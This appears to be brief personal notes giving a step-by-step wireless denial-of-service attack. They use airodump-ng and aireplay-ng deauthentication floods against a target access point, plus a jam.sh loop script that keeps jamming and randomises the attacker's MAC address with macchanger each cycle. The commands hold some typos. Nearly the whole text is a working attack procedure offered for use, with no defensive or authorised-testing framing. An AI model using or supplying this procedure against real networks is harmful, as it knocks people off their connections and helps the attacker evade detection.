DOS ATTACKS ON WIRELESS NETWORKS

→ Set wireless network card in monitor mode

→ airodump-ng wlan0

→ Kill if needed

→ airodump-ng wlan0

• airoplay-ng -o 0 -a Mac wlan0.
↳ Doing it continuously

If channel issue persists, change channel of your wireless card.

iwconfig wlan0 channel <ch of your wifi

To keep jamming, make a script jam.sh.

while true

do

aireplay-ng -O 0 -a bssid wlan0

ifconfig wlan0 down
macchanger -x wlan0 | grep "New MAC"

iwconfig wlan0 mode monitor
ifconfig wlan0 up
iwconfig wlan0 | grep Mode

sleep 3
echo Waiting!!!!

done.

To edit → nano.sh.

To make executable → chmod +x jam.sh

To run → ./jam.sh
